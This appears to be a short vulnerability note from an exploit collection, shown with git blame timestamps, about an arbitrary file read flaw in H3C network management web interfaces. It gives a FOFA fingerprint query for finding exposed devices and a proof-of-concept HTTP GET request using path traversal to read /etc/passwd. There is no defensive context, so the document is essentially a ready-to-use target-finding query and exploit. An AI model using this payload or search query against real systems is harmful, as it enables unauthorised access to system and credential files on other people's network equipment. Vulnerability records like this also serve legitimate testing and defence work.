2023-11-23 20:30:30 +08:00
|
|
|
|
|
|
|
|
## H3C网络管理系统任意文件读取漏洞
|
|
|
|
|
|
2023-11-28 21:09:47 +08:00
|
|
|
## fofa
|
|
|
|
|
```
|
|
|
|
|
body="webui/js/jquerylib/jquery-1.7.2.min.js"
|
|
|
|
|
```
|
2023-11-23 20:30:30 +08:00
|
|
|
|
|
|
|
|
## poc
|
|
|
|
|
```
|
|
|
|
|
GET /webui/?file_name=../../../../../etc/passwd&g=sys_dia_data_down HTTP/1.1
|
|
|
|
|
|
|
|
|
|
```
|
2023-11-28 21:09:47 +08:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
